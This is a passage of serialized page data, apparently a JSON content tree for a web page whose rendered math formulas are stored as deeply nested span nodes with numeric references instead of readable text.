g":271,"props":126648,"children":126649},{"style":5872},[126650,126654],{"type":25,"tag":271,"props":126651,"children":126653},{"className":126652,"style":4495},[1007],[],{"type":25,"tag":271,"props":126655,"children":126657},{"className":126656},[1013,1014,1015,1016],[126658],{"type":25,"tag":271,"props":126659,"children":126661},{"className":126660},[296,1016],[126662,126667,126672],{"type":25,"tag":271,"props":126663,"children":126665},{"className":126664,"style":5889},[296,297,1016],[126666],{"type":30,"value":5892},{"type":25,"tag":271,"props":126668,"children":126670},{"className":126669},[2071,1016],[126671],{"type":30,"value":2774},{"type":25,"tag":271,"props":126673,"children":126675},{"className":126674},[296,297,1016],[126676],{"type":30,"value":2508},{"type":25,"tag":271,"props":126678,"children":126679},{"style":5905},[126680,126684],{"type":25,"tag":271,"props":126681,"children":126683},{"className":126682,"style":4495},[1007],[],{"type":25,"tag":271,"props":126685,"children":126687},{"className":126686,"style":5915},[5914],[],{"type":25,"tag":271,"props":126689,"children":126690},{"style":5919},[126691,126695],{"type":25,"tag":271,"props":126692,"children":126694},{"className":126693,"style":4495},[1007],[],{"type":25,"tag":271,"props":126696,"children":126698},{"className":126697},[1013,1014,1015,1016],[126699],{"type":25,"tag":271,"props":126700,"children":126702},{"className":126701},[296,1016],[126703],{"type":25,"tag":271,"props":126704,"children":126706},{"className":126705},[296,1016],[126707],{"type":30,"value":968},{"type":25,"tag":271,"props":126709,"children":126711},{"className":126710},[1177],[126712],{"type":30,"value":1180},{"type":25,"tag":271,"props":126714,"children":126716},{"className":126715},[992],[126717],{"type":25,"tag":271,"props":126718,"children":126720},{"className":126719,"style":5950},[997],[126721],{"type":25,"tag":271,"props":126722,"children":126723},{},[],{"type":25,"tag":271,"props":126725,"children":126727},{"className":126726},[437,5850],[],{"type":25,"tag":26,"props":126729,"children":126730},{},[126731,126732,126757],{"type":30,"value":6165},{"type":25,"tag":264,"props":126733,"children":126735},{"className":126734},[267,268],[126736],{"type":25,"tag":271,"props":126737,"children":126739},{"className":126738},[274],[126740],{"type":25,"tag":271,"props":126741,"children":126743},{"className":126742,"ariaHidden":280},[279],[126744],{"type":25,"tag":271,"props":126745,"children":126747},{"className":126746},[285],[126748,126752],{"type":25,"tag":271,"props":126749,"children":126751},{"className":126750,"style":3164},[290],[],{"type":25,"tag":271,"props":126753,"children":126755},{"className":126754,"style":5889},[296,297],[126756],{"type":30,"value":5892},{"type":30,"value":6192},{"type":25,"tag":26,"props":126759,"children":126760},{},[126761,126765],{"type":25,"tag":38,"props":126762,"children":126763},{},[126764],{"type":30,"value":6200},{"type":30,"value":6202},{"type":25,"tag":108,"props":126767,"children":126768},{},[126769,126851],{"type":25,"tag":112,"props":126770,"children":126771},{},[126772,126773,126798,126799,126824,126825,126850],{"type":30,"value":6210},{"type":25,"tag":264,"props":126774,"children":126776},{"className":126775},[267,268],[126777],{"type":25,"tag":271,"props":126778,"children":126780},{"className":126779},[274],[126781],{"type":25,"tag":271,"props":126782,"children":126784},{"className":126783,"ariaHidden":280},[279],[126785],{"type":25,"tag":271,"props":126786,"children":126788},{"className":126787},[285],[126789,126793],{"type":25,"tag":271,"props":126790,"children":126792},{"className":126791,"style":3164},[290],[],{"type":25,"tag":271,"props":126794,"children":126796},{"className":126795,"style":1555},[296,297],[126797],{"type":30,"value":6236},{"type":30,"value":6238},{"type":25,"tag":264,"props":126800,"children":126802},{"className":126801},[267,268],[126803],{"type":25,"tag":271,"props":126804,"children":126806},{"className":126805},[274],[126807],{"type":25,"tag":271,"props":126808,"children":126810},{"className":126809,"ariaHidden":280},[279],[126811],{"type":25,"tag":271,"props":126812,"children":126814},{"className":126813},[285],[126815,126819],{"type":25,"tag":271,"props":126816,"children":126818},{"className":126817,"style":3164},[290],[],{"type":25,"tag":271,"props":126820,"children":126822},{"className":126821},[296,297],[126823],{"type":30,"value":83},{"type":30,"value":6265},{"type":25,"tag":264,"props":126826,"children":126828},{"className":126827},[267,268],[126829],{"type":25,"tag":271,"props":126830,"children":126832},{"className":126831},[274],[126833],{"type":25,"tag":271,"props":126834,"children":126836},{"className":126835,"ariaHidden":280},[279],[126837],{"type":25,"tag":271,"props":126838,"children":126840},{"className":126839},[285],[126841,126845],{"type":25,"tag":271,"props":126842,"children":126844},{"className":126843,"style":6285},[290],[],{"type":25,"tag":271,"props":126846,"children":126848},{"className":126847},[296,297],[126849],{"type":30,"value":6292},{"type":30,"value":6294},{"type":25,"tag":112,"props":126852,"children":126853},{},[126854,126855,126880,126881,126906,126907,126932],{"type":30,"value":6299},{"type":25,"tag":264,"props":126856,"children":126858},{"className":126857},[267,268],[126859],{"type":25,"tag":271,"props":126860,"children":126862},{"className":126861},[274],[126863],{"type":25,"tag":271,"props":126864,"children":126866},{"className":126865,"ariaHidden":280},[279],[126867],{"type":25,"tag":271,"props":126868,"children":126870},{"className":126869},[285],[126871,126875],{"type":25,"tag":271,"props":126872,"children":126874},{"className":126873,"style":6285},[290],[],{"type":25,"tag":271,"props":126876,"children":126878},{"className":126877},[296,297],[126879],{"type":30,"value":6292},{"type":30,"value":6326},{"type":25,"tag":264,"props":126882,"children":126884},{"className":126883},[267,268],[126885],{"type":25,"tag":271,"props":126886,"children":126888},{"className":126887},[274],[126889],{"type":25,"tag":271,"props":126890,"children":126892},{"className":126891,"ariaHidden":280},[279],[126893],{"type":25,"tag":271,"props":126894,"children":126896},{"className":126895},[285],[126897,126901],{"type":25,"tag":271,"props":126898,"children":126900},{"className":126899,"style":3164},[290],[],{"type":25,"tag":271,"props":126902,"children":126904},{"className":126903},[296,297],[126905],{"type":30,"value":83},{"type":30,"value":6353},{"type":25,"tag":264,"props":126908,"children":126910},{"className":126909},[267,268],[126911],{"type":25,"tag":271,"props":126912,"children":126914},{"className":126913},[274],[126915],{"type":25,"tag":271,"props":126916,"children":126918},{"className":126917,"ariaHidden":280},[279],[126919],{"type":25,"tag":271,"props":126920,"children":126922},{"className":126921},[285],[126923,126927],{"type":25,"tag":271,"props":126924,"children":126926},{"className":126925,"style":3164},[290],[],{"type":25,"tag":271,"props":126928,"children":126930},{"className":126929,"style":1555},[296,297],[126931],{"type":30,"value":6236},{"type":30,"value":6294},{"type":25,"tag":26,"props":126934,"children":126935},{},[126936],{"type":30,"value":6384},{"type":25,"tag":26,"props":126938,"children":126939},{},[126940,126944],{"type":25,"tag":38,"props":126941,"children":126942},{},[126943],{"type":30,"value":6392},{"type":30,"value":6394},{"type":25,"tag":26,"props":126946,"children":126947},{},[126948],{"type":25,"tag":264,"props":126949,"children":126951},{"className":126950},[267,268],[126952],{"type":25,"tag":271,"props":126953,"children":126955},{"className":126954},[274],[126956],{"type":25,"tag":271,"props":126957,"children":126959},{"className":126958,"ariaHidden":280},[279],[126960,127056,127299],{"type":25,"tag":271,"props":126961,"children":126963},{"className":126962},[285],[126964,126968,126977,126982,127043,127047,127052],{"type":25,"tag":271,"props":126965,"children":126967},{"className":126966,"style":6417},[290],[],{"type":25,"tag":271,"props":126969,"children":126971},{"className":126970},[296,30],[126972],{"type":25,"tag":271,"props":126973,"children":126975},{"className":126974},[296],[126976],{"type":30,"value":6428},{"type":25,"tag":271,"props":126978,"children":126980},{"className":126979,"style":2296},[296],[126981],{"type":30,"value":6434},{"type":25,"tag":271,"props":126983,"children":126985},{"className":126984},[296],[126986,126995],{"type":25,"tag":271,"props":126987,"children":126989},{"className":126988},[296,30],[126990],{"type":25,"tag":271,"props":126991,"children":126993},{"className":126992},[296],[126994],{"type":30,"value":6448},{"type":25,"tag":271,"props":126996,"children":126998},{"className":126997},[982],[126999],{"type":25,"tag":271,"props":127000,"children":127002},{"className":127001},[987,1100],[127003,127032],{"type":25,"tag":271,"props":127004,"children":127006},{"className":127005},[992],[127007,127027],{"type":25,"tag":271,"props":127008,"children":127010},{"className":127009,"style":1918},[997],[127011],{"type":25,"tag":271,"props":127012,"children":127013},{"style":6467},[127014,127018],{"type":25,"tag":271,"props":127015,"children":127017},{"className":127016,"style":1008},[1007],[],{"type":25,"tag":271,"props":127019,"children":127021},{"className":127020},[1013,1014,1015,1016],[127022],{"type":25,"tag":271,"props":127023,"children":127025},{"className":127024},[296,297,1016],[127026],{"type":30,"value":1937},{"type":25,"tag":271,"props":127028,"children":127030},{"className":127029},[1177],[127031],{"type":30,"value":1180},{"type":25,"tag":271,"props":127033,"children":127035},{"className":127034},[992],[127036],{"type":25,"tag":271,"props":127037,"children":127039},{"className":127038,"style":1619},[997],[127040],{"type":25,"tag":271,"props":127041,"children":127042},{},[],{"type":25,"tag":271,"props":127044,"children":127046},{"className":127045,"style":338},[337],[],{"type":25,"tag":271,"props":127048,"children":127050},{"className":127049},[356],[127051],{"type":30,"value":1065},{"type":25,"tag":271,"props":127053,"children":127055},{"className":127054,"style":338},[337],[],{"type":25,"tag":271,"props":127057,"children":127059},{"className":127058},[285],[127060,127064,127121,127125,127286,127290,127295],{"type":25,"tag":271,"props":127061,"children":127063},{"className":127062,"style":6518},[290],[],{"type":25,"tag":271,"props":127065,"children":127067},{"className":127066},[1082],[127068,127073],{"type":25,"tag":271,"props":127069,"children":127071},{"className":127070,"style":1089},[1082,1087,1088],[127072],{"type":30,"value":1092},{"type":25,"tag":271,"props":127074,"children":127076},{"className":127075},[982],[127077],{"type":25,"tag":271,"props":127078,"children":127080},{"className":127079},[987,1100],[127081,127110],{"type":25,"tag":271,"props":127082,"children":127084},{"className":127083},[992],[127085,127105],{"type":25,"tag":271,"props":127086,"children":127088},{"className":127087,"style":6544},[997],[127089],{"type":25,"tag":271,"props":127090,"children":127091},{"style":1113},[127092,127096],{"type":25,"tag":271,"props":127093,"children":127095},{"className":127094,"style":1008},[1007],[],{"type":25,"tag":271,"props":127097,"children":127099},{"className":127098},[1013,1014,1015,1016],[127100],{"type":25,"tag":271,"props":127101,"children":127103},{"className":127102,"style":6560},[296,297,1016],[127104],{"type":30,"value":6563},{"type":25,"tag":271,"props":127106,"children":127108},{"className":127107},[1177],[127109],{"type":30,"value":1180},{"type":25,"tag":271,"props":127111,"children":127113},{"className":127112},[992],[127114],{"type":25,"tag":271,"props":127115,"children":127117},{"className":127116,"style":6576},[997],[127118],{"type":25,"tag":271,"props":127119,"children":127120},{},[],{"type":25,"tag":271,"props":127122,"children":127124},{"className":127123,"style":411},[337],[],{"type":25,"tag":271,"props":127126,"children":127128},{"className":127127},[296],[127129,127133,127282],{"type":25,"tag":271,"props":127130,"children":127132},{"className":127131},[391,5850],[],{"type":25,"tag":271,"props":127134,"children":127136},{"className":127135},[5855],[127137],{"type":25,"tag":271,"props":127138,"children":127140},{"className":127139},[987,1100],[127141,127271],{"type":25,"tag":271,"props":127142,"children":127144},{"className":127143},[992],[127145,127266],{"type":25,"tag":271,"props":127146,"children":127148},{"className":127147,"style":5868},[997],[127149,127235,127246],{"type":25,"tag":271,"props":127150,"children":127151},{"style":5872},[127152,127156],{"type":25,"tag":271,"props":127153,"children":127155},{"className":127154,"style":4495},[1007],[],{"type":25,"tag":271,"props":127157,"children":127159},{"className":127158},[1013,1014,1015,1016],[127160],{"type":25,"tag":271,"props":127161,"children":127163},{"className":127162},[296,1016],[127164,127169,127174],{"type":25,"tag":271,"props":127165,"children":127167},{"className":127166,"style":5889},[296,297,1016],[127168],{"type":30,"value":5892},{"type":25,"tag":271,"props":127170,"children":127172},{"className":127171},[2071,1016],[127173],{"type":30,"value":2774},{"type":25,"tag":271,"props":127175,"children":127177},{"className":127176},[296,1016],[127178,127187],{"type":25,"tag":271,"props":127179,"children":127181},{"className":127180},[296,30,1016],[127182],{"type":25,"tag":271,"props":127183,"children":127185},{"className":127184},[296,1016],[127186],{"type":30,"value":6647},{"type":25,"tag":271,"props":127188,"children":127190},{"className":127189},[982],[127191],{"type":25,"tag":271,"props":127192,"children":127194},{"className":127193},[987,1100],[127195,127224],{"type":25,"tag":271,"props":127196,"children":127198},{"className":127197},[992],[127199,127219],{"type":25,"tag":271,"props":127200,"children":127202},{"className":127201,"style":6663},[997],[127203],{"type":25,"tag":271,"props":127204,"children":127205},{"style":6667},[127206,127210],{"type":25,"tag":271,"props":127207,"children":127209},{"className":127208,"style":1161},[1007],[],{"type":25,"tag":271,"props":127211,"children":127213},{"className":127212},[1013,1166,1167,1016],[127214],{"type":25,"tag":271,"props":127215,"children":127217},{"className":127216,"style":6560},[296,297,1016],[127218],{"type":30,"value":6563},{"type":25,"tag":271,"props":127220,"children":127222},{"className":127221},[1177],[127223],{"type":30,"value":1180},{"type":25,"tag":271,"props":127225,"children":127227},{"className":127226},[992],[127228],{"type":25,"tag":271,"props":127229,"children":127231},{"className":127230,"style":6694},[997],[127232],{"type":25,"tag":271,"props":127233,"children":127234},{},[],{"type":25,"tag":271,"props":127236,"children":127237},{"style":5905},[127238,127242],{"type":25,"tag":271,"props":127239,"children":127241},{"className":127240,"style":4495},[1007],[],{"type":25,"tag":271,"props":127243,"children":127245},{"className":127244,"style":5915},[5914],[],{"type":25,"tag":271,"props":127247,"children":127248},{"style":5919},[127249,127253],{"type":25,"tag":271,"props":127250,"children":127252},{"className":127251,"style":4495},[1007],[],{"type":25,"tag":271,"props":127254,"children":127256},{"className":127255},[1013,1014,1015,1016],[127257],{"type":25,"tag":271,"props":127258,"children":127260},{"className":127259},[296,1016],[127261],{"type":25,"tag":271,"props":127262,"children":127264},{"className":127263},[296,1016],[127265],{"type":30,"value":968},{"type":25,"tag":271,"props":127267,"children":127269},{"className":127268},[1177],[127270],{"type":30,"value":1180},{"type":25,"tag":271,"props":127272,"children":127274},{"className":127273},[992],[127275],{"type":25,"tag":271,"props":127276,"children":127278},{"className":127277,"style":6742},[997],[127279],{"type":25,"tag":271,"props":127280,"children":127281},{},[],{"type":25,"tag":271,"props":127283,"children":127285},{"className":127284},[437,5850],[],{"type":25,"tag":271,"props":127287,"children":127289},{"className":127288,"style":2066},[337],[],{"type":25,"tag":271,"props":127291,"children":127293},{"className":127292},[2071],[127294],{"type":30,"value":2774},{"type":25,"tag":271,"props":127296,"children":127298},{"className":127297,"style":2066},[337],[],{"type":25,"tag":271,"props":127300,"children":127302},{"className":127301},[285],[127303,127307,127364,127368],{"type":25,"tag":271,"props":127304,"children":127306},{"className":127305,"style":6771},[290],[],{"type":25,"tag":271,"props":127308,"children":127310},{"className":127309},[1082],[127311,127316],{"type":25,"tag":271,"props":127312,"children":127314},{"className":127313,"style":1089},[1082,1087,1088],[127315],{"type":30,"value":1092},{"type":25,"tag":271,"props":127317,"children":127319},{"className":127318},[982],[127320],{"type":25,"tag":271,"props":127321,"children":127323},{"className":127322},[987,1100],[127324,127353],{"type":25,"tag":271,"props":127325,"children":127327},{"className":127326},[992],[127328,127348],{"type":25,"tag":271,"props":127329,"children":127331},{"className":127330,"style":6004},[997],[127332],{"type":25,"tag":271,"props":127333,"children":127334},{"style":1113},[127335,127339],{"type":25,"tag":271,"props":127336,"children":127338},{"className":127337,"style":1008},[1007],[],{"type":25,"tag":271,"props":127340,"children":127342},{"className":127341},[1013,1014,1015,1016],[127343],{"type":25,"tag":271,"props":127344,"children":127346},{"className":127345,"style":6812},[296,297,1016],[127347],{"type":30,"value":6815},{"type":25,"tag":271,"props":127349,"children":127351},{"className":127350},[1177],[127352],{"type":30,"value":1180},{"type":25,"tag":271,"props":127354,"children":127356},{"className":127355},[992],[127357],{"type":25,"tag":271,"props":127358,"children":127360},{"className":127359,"style":6828},[997],[127361],{"type":25,"tag":271,"props":127362,"children":127363},{},[],{"type":25,"tag":271,"props":127365,"children":127367},{"className":127366,"style":411},[337],[],{"type":25,"tag":271,"props":127369,"children":127371},{"className":127370},[296],[127372,127376,127525],{"type":25,"tag":271,"props":127373,"children":127375},{"className":127374},[391,5850],[],{"type":25,"tag":271,"props":127377,"children":127379},{"className":127378},[5855],[127380],{"type":25,"tag":271,"props":127381,"children":127383},{"className":127382},[987,1100],[127384,127514],{"type":25,"tag":271,"props":127385,"children":127387},{"className":127386},[992],[127388,127509],{"type":25,"tag":271,"props":127389,"children":127391},{"className":127390,"style":5868},[997],[127392,127478,127489],{"type":25,"tag":271,"props":127393,"children":127394},{"style":5872},[127395,127399],{"type":25,"tag":271,"props":127396,"children":127398},{"className":127397,"style":4495},[1007],[],{"type":25,"tag":271,"props":127400,"children":127402},{"className":127401},[1013,1014,1015,1016],[127403],{"type":25,"tag":271,"props":127404,"children":127406},{"className":127405},[296,1016],[127407,127412,127417],{"type":25,"tag":271,"props":127408,"children":127410},{"className":127409,"style":5889},[296,297,1016],[127411],{"type":30,"value":5892},{"type":25,"tag":271,"props":127413,"children":127415},{"className":127414},[2071,1016],[127416],{"type":30,"value":2774},{"type":25,"tag":271,"props":127418,"children":127420},{"className":127419},[296,1016],[127421,127430],{"type":25,"tag":271,"props":127422,"children":127424},{"className":127423},[296,30,1016],[127425],{"type":25,"tag":271,"props":127426,"children":127428},{"className":127427},[296,1016],[127429],{"type":30,"value":6899},{"type":25,"tag":271,"props":127431,"children":127433},{"className":127432},[982],[127434],{"type":25,"tag":271,"props":127435,"children":127437},{"className":127436},[987,1100],[127438,127467],{"type":25,"tag":271,"props":127439,"children":127441},{"className":127440},[992],[127442,127462],{"type":25,"tag":271,"props":127443,"children":127445},{"className":127444,"style":4659},[997],[127446],{"type":25,"tag":271,"props":127447,"children":127448},{"style":6918},[127449,127453],{"type":25,"tag":271,"props":127450,"children":127452},{"className":127451,"style":1161},[1007],[],{"type":25,"tag":271,"props":127454,"children":127456},{"className":127455},[1013,1166,1167,1016],[127457],{"type":25,"tag":271,"props":127458,"children":127460},{"className":127459,"style":6812},[296,297,1016],[127461],{"type":30,"value":6815},{"type":25,"tag":271,"props":127463,"children":127465},{"className":127464},[1177],[127466],{"type":30,"value":1180},{"type":25,"tag":271,"props":127468,"children":127470},{"className":127469},[992],[127471],{"type":25,"tag":271,"props":127472,"children":127474},{"className":127473,"style":6945},[997],[127475],{"type":25,"tag":271,"props":127476,"children":127477},{},[],{"type":25,"tag":271,"props":127479,"children":127480},{"style":5905},[127481,127485],{"type":25,"tag":271,"props":127482,"children":127484},{"className":127483,"style":4495},[1007],[],{"type":25,"tag":271,"props":127486,"children":127488},{"className":127487,"style":5915},[5914],[],{"type":25,"tag":271,"props":127490,"children":127491},{"style":5919},[127492,127496],{"type":25,"tag":271,"props":127493,"children":127495},{"className":127494,"style":4495},[1007],[],{"type":25,"tag":271,"props":127497,"children":127499},{"className":127498},[1013,1014,1015,1016],[127500],{"type":25,"tag":271,"props":127501,"children":127503},{"className":127502},[296,1016],[127504],{"type":25,"tag":271,"props":127505,"children":127507},{"className":127506},[296,1016],[127508],{"type":30,"value":968},{"type":25,"tag":271,"props":127510,"children":127512},{"className":127511},[1177],[127513],{"type":30,"value":1180},{"type":25,"tag":271,"props":127515,"children":127517},{"className":127516},[992],[127518],{"type":25,"tag":271,"props":127519,"children":127521},{"className":127520,"style":6993},[997],[127522],{"type":25,"tag":271,"props":127523,"children":127524},{},[],{"type":25,"tag":271,"props":127526,"children":127528},{"className":127527},[437,5850],[],{"type":25,"tag":26,"props":127530,"children":127531},{},[127532,127533,127715],{"type":30,"value":7006},{"type":25,"tag":264,"props":127534,"children":127536},{"className":127535},[267,268],[127537],{"type":25,"tag":271,"props":127538,"children":127540},{"className":127539},[274],[127541],{"type":25,"tag":271,"props":127542,"children":127544},{"className":127543,"ariaHidden":280},[279],[127545,127702],{"type":25,"tag":271,"props":127546,"children":127548},{"className":127547},[285],[127549,127553,127610,127614,127623,127628,127689,127693,127698],{"type":25,"tag":271,"props":127550,"children":127552},{"className":127551,"style":7026},[290],[],{"type":25,"tag":271,"props":127554,"children":127556},{"className":127555},[1082],[127557,127562],{"type":25,"tag":271,"props":127558,"children":127560},{"className":127559,"style":1089},[1082,1087,1088],[127561],{"type":30,"value":1092},{"type":25,"tag":271,"props":127563,"children":127565},{"className":127564},[982],[127566],{"type":25,"tag":271,"props":127567,"children":127569},{"className":127568},[987,1100],[127570,127599],{"type":25,"tag":271,"props":127571,"children":127573},{"className":127572},[992],[127574,127594],{"type":25,"tag":271,"props":127575,"children":127577},{"className":127576,"style":6544},[997],[127578],{"type":25,"tag":271,"props":127579,"children":127580},{"style":1113},[127581,127585],{"type":25,"tag":271,"props":127582,"children":127584},{"className":127583,"style":1008},[1007],[],{"type":25,"tag":271,"props":127586,"children":127588},{"className":127587},[1013,1014,1015,1016],[127589],{"type":25,"tag":271,"props":127590,"children":127592},{"className":127591},[296,297,1016],[127593],{"type":30,"value":1937},{"type":25,"tag":271,"props":127595,"children":127597},{"className":127596},[1177],[127598],{"type":30,"value":1180},{"type":25,"tag":271,"props":127600,"children":127602},{"className":127601},[992],[127603],{"type":25,"tag":271,"props":127604,"children":127606},{"className":127605,"style":6828},[997],[127607],{"type":25,"tag":271,"props":127608,"children":127609},{},[],{"type":25,"tag":271,"props":127611,"children":127613},{"className":127612,"style":411},[337],[],{"type":25,"tag":271,"props":127615,"children":127617},{"className":127616},[296,30],[127618],{"type":25,"tag":271,"props":127619,"children":127621},{"className":127620},[296],[127622],{"type":30,"value":6428},{"type":25,"tag":271,"props":127624,"children":127626},{"className":127625,"style":2296},[296],[127627],{"type":30,"value":6434},{"type":25,"tag":271,"props":127629,"children":127631},{"className":127630},[296],[127632,127641],{"type":25,"tag":271,"props":127633,"children":127635},{"className":127634},[296,30],[127636],{"type":25,"tag":271,"props":127637,"children":127639},{"className":127638},[296],[127640],{"type":30,"value":6448},{"type":25,"tag":271,"props":127642,"children":127644},{"className":127643},[982],[127645],{"type":25,"tag":271,"props":127646,"children":127648},{"className":127647},[987,1100],[127649,127678],{"type":25,"tag":271,"props":127650,"children":127652},{"className":127651},[992],[127653,127673],{"type":25,"tag":271,"props":127654,"children":127656},{"className":127655,"style":1918},[997],[127657],{"type":25,"tag":271,"props":127658,"children":127659},{"style":6467},[127660,127664],{"type":25,"tag":271,"props":127661,"children":127663},{"className":127662,"style":1008},[1007],[],{"type":25,"tag":271,"props":127665,"children":127667},{"className":127666},[1013,1014,1015,1016],[127668],{"type":25,"tag":271,"props":127669,"children":127671},{"className":127670},[296,297,1016],[127672],{"type":30,"value":1937},{"type":25,"tag":271,"props":127674,"children":127676},{"className":127675},[1177],[127677],{"type":30,"value":1180},{"type":25,"tag":271,"props":127679,"children":127681},{"className":127680},[992],[127682],{"type":25,"tag":271,"props":127683,"children":127685},{"className":127684,"style":1619},[997],[127686],{"type":25,"tag":271,"props":127687,"children":127688},{},[],{"type":25,"tag":271,"props":127690,"children":127692},{"className":127691,"style":338},[337],[],{"type":25,"tag":271,"props":127694,"children":127696},{"className":127695},[356],[127697],{"type":30,"value":1065},{"type":25,"tag":271,"props":127699,"children":127701},{"className":127700,"style":338},[337],[],{"type":25,"tag":271,"props":127703,"children":127705},{"className":127704},[285],[127706,127710],{"type":25,"tag":271,"props":127707,"children":127709},{"className":127708,"style":3128},[290],[],{"type":25,"tag":271,"props":127711,"children":127713},{"className":127712},[296],[127714],{"type":30,"value":953},{"type":30,"value":1860},{"type":25,"tag":26,"props":127717,"children":127718},{},[127719,127723,127724,127729],{"type":25,"tag":38,"props":127720,"children":127721},{},[127722],{"type":30,"value":7198},{"type":30,"value":7200},{"type":25,"tag":264,"props":127725,"children":127727},{"className":127726},[],[127728],{"type":30,"value":7206},{"type":30,"value":7208},{"type":25,"tag":92,"props":127731,"children":127732},{},[],{"type":25,"tag":96,"props":127734,"children":127735},{"id":7214},[127736],{"type":30,"value":7217},{"type":25,"tag":26,"props":127738,"children":127739},{},[127740],{"type":30,"value":7222},{"type":25,"tag":26,"props":127742,"children":127743},{},[127744],{"type":25,"tag":698,"props":127745,"children":127746},{"alt":7228,"src":7229},[],{"type":25,"tag":26,"props":127748,"children":127749},{},[127750,127751,127776],{"type":30,"value":7235},{"type":25,"tag":264,"props":127752,"children":127754},{"className":127753},[267,268],[127755],{"type":25,"tag":271,"props":127756,"children":127758},{"className":127757},[274],[127759],{"type":25,"tag":271,"props":127760,"children":127762},{"className":127761,"ariaHidden":280},[279],[127763],{"type":25,"tag":271,"props":127764,"children":127766},{"className":127765},[285],[127767,127771],{"type":25,"tag":271,"props":127768,"children":127770},{"className":127769,"style":291},[290],[],{"type":25,"tag":271,"props":127772,"children":127774},{"className":127773,"style":466},[296,297],[127775],{"type":30,"value":795},{"type":30,"value":7262},{"type":25,"tag":661,"props":127778,"children":127779},{},[127780,127810,127884,128021],{"type":25,"tag":112,"props":127781,"children":127782},{},[127783,127784,127809],{"type":30,"value":7270},{"type":25,"tag":264,"props":127785,"children":127787},{"className":127786},[267,268],[127788],{"type":25,"tag":271,"props":127789,"children":127791},{"className":127790},[274],[127792],{"type":25,"tag":271,"props":127793,"children":127795},{"className":127794,"ariaHidden":280},[279],[127796],{"type":25,"tag":271,"props":127797,"children":127799},{"className":127798},[285],[127800,127804],{"type":25,"tag":271,"props":127801,"children":127803},{"className":127802,"style":291},[290],[],{"type":25,"tag":271,"props":127805,"children":127807},{"className":127806,"style":466},[296,297],[127808],{"type":30,"value":795},{"type":30,"value":440},{"type":25,"tag":112,"props":127811,"children":127812},{},[127813,127814],{"type":30,"value":7301},{"type":25,"tag":264,"props":127815,"children":127817},{"className":127816},[267,268],[127818],{"type":25,"tag":271,"props":127819,"children":127821},{"className":127820},[274],[127822],{"type":25,"tag":271,"props":127823,"children":127825},{"className":127824,"ariaHidden":280},[279],[127826,127867],{"type":25,"tag":271,"props":127827,"children":127829},{"className":127828},[285],[127830,127834,127839,127844,127849,127854,127858,127863],{"type":25,"tag":271,"props":127831,"children":127833},{"className":127832,"style":375},[290],[],{"type":25,"tag":271,"props":127835,"children":127837},{"className":127836,"style":4500},[296,297],[127838],{"type":30,"value":4503},{"type":25,"tag":271,"props":127840,"children":127842},{"className":127841},[391],[127843],{"type":30,"value":394},{"type":25,"tag":271,"props":127845,"children":127847},{"className":127846,"style":466},[296,297],[127848],{"type":30,"value":795},{"type":25,"tag":271,"props":127850,"children":127852},{"className":127851},[437],[127853],{"type":30,"value":440},{"type":25,"tag":271,"props":127855,"children":127857},{"className":127856,"style":338},[337],[],{"type":25,"tag":271,"props":127859,"children":127861},{"className":127860},[356],[127862],{"type":30,"value":1065},{"type":25,"tag":271,"props":127864,"children":127866},{"className":127865,"style":338},[337],[],{"type":25,"tag":271,"props":127868,"children":127870},{"className":127869},[285],[127871,127875],{"type":25,"tag":271,"props":127872,"children":127874},{"className":127873,"style":7362},[290],[],{"type":25,"tag":271,"props":127876,"children":127878},{"className":127877},[296,30],[127879],{"type":25,"tag":271,"props":127880,"children":127882},{"className":127881},[296],[127883],{"type":30,"value":7373},{"type":25,"tag":112,"props":127885,"children":127886},{},[127887,127888,127913,127914],{"type":30,"value":7378},{"type":25,"tag":264,"props":127889,"children":127891},{"className":127890},[267,268],[127892],{"type":25,"tag":271,"props":127893,"children":127895},{"className":127894},[274],[127896],{"type":25,"tag":271,"props":127897,"children":127899},{"className":127898,"ariaHidden":280},[279],[127900],{"type":25,"tag":271,"props":127901,"children":127903},{"className":127902},[285],[127904,127908],{"type":25,"tag":271,"props":127905,"children":127907},{"className":127906,"style":7398},[290],[],{"type":25,"tag":271,"props":127909,"children":127911},{"className":127910,"style":4500},[296,297],[127912],{"type":30,"value":4503},{"type":30,"value":7406},{"type":25,"tag":264,"props":127915,"children":127917},{"className":127916},[267,268],[127918],{"type":25,"tag":271,"props":127919,"children":127921},{"className":127920},[274],[127922],{"type":25,"tag":271,"props":127923,"children":127925},{"className":127924,"ariaHidden":280},[279],[127926,127952,127978,128004],{"type":25,"tag":271,"props":127927,"children":127929},{"className":127928},[285],[127930,127934,127939,127943,127948],{"type":25,"tag":271,"props":127931,"children":127933},{"className":127932,"style":7426},[290],[],{"type":25,"tag":271,"props":127935,"children":127937},{"className":127936,"style":7431},[296,297],[127938],{"type":30,"value":7434},{"type":25,"tag":271,"props":127940,"children":127942},{"className":127941,"style":2066},[337],[],{"type":25,"tag":271,"props":127944,"children":127946},{"className":127945},[2071],[127947],{"type":30,"value":3585},{"type":25,"tag":271,"props":127949,"children":127951},{"className":127950,"style":2066},[337],[],{"type":25,"tag":271,"props":127953,"children":127955},{"className":127954},[285],[127956,127960,127965,127969,127974],{"type":25,"tag":271,"props":127957,"children":127959},{"className":127958,"style":7455},[290],[],{"type":25,"tag":271,"props":127961,"children":127963},{"className":127962,"style":466},[296,297],[127964],{"type":30,"value":795},{"type":25,"tag":271,"props":127966,"children":127968},{"className":127967,"style":2066},[337],[],{"type":25,"tag":271,"props":127970,"children":127972},{"className":127971},[2071],[127973],{"type":30,"value":2074},{"type":25,"tag":271,"props":127975,"children":127977},{"className":127976,"style":2066},[337],[],{"type":25,"tag":271,"props":127979,"children":127981},{"className":127980},[285],[127982,127986,127991,127995,128000],{"type":25,"tag":271,"props":127983,"children":127985},{"className":127984,"style":7398},[290],[],{"type":25,"tag":271,"props":127987,"children":127989},{"className":127988,"style":7486},[296,297],[127990],{"type":30,"value":7489},{"type":25,"tag":271,"props":127992,"children":127994},{"className":127993,"style":338},[337],[],{"type":25,"tag":271,"props":127996,"children":127998},{"className":127997},[356],[127999],{"type":30,"value":1065},{"type":25,"tag":271,"props":128001,"children":128003},{"className":128002,"style":338},[337],[],{"type":25,"tag":271,"props":128005,"children":128007},{"className":128006},[285],[128008,128012],{"type":25,"tag":271,"props":128009,"children":128011},{"className":128010,"style":7362},[290],[],{"type":25,"tag":271,"props":128013,"children":128015},{"className":128014},[296,30],[128016],{"type":25,"tag":271,"props":128017,"children":128019},{"className":128018},[296],[128020],{"type":30,"value":7373},{"type":25,"tag":112,"props":128022,"children":128023},{},[128024,128025],{"type":30,"value":7524},{"type":25,"tag":264,"props":128026,"children":128028},{"className":128027},[267,268],[128029],{"type":25,"tag":271,"props":128030,"children":128032},{"className":128031},[274],[128033],{"type":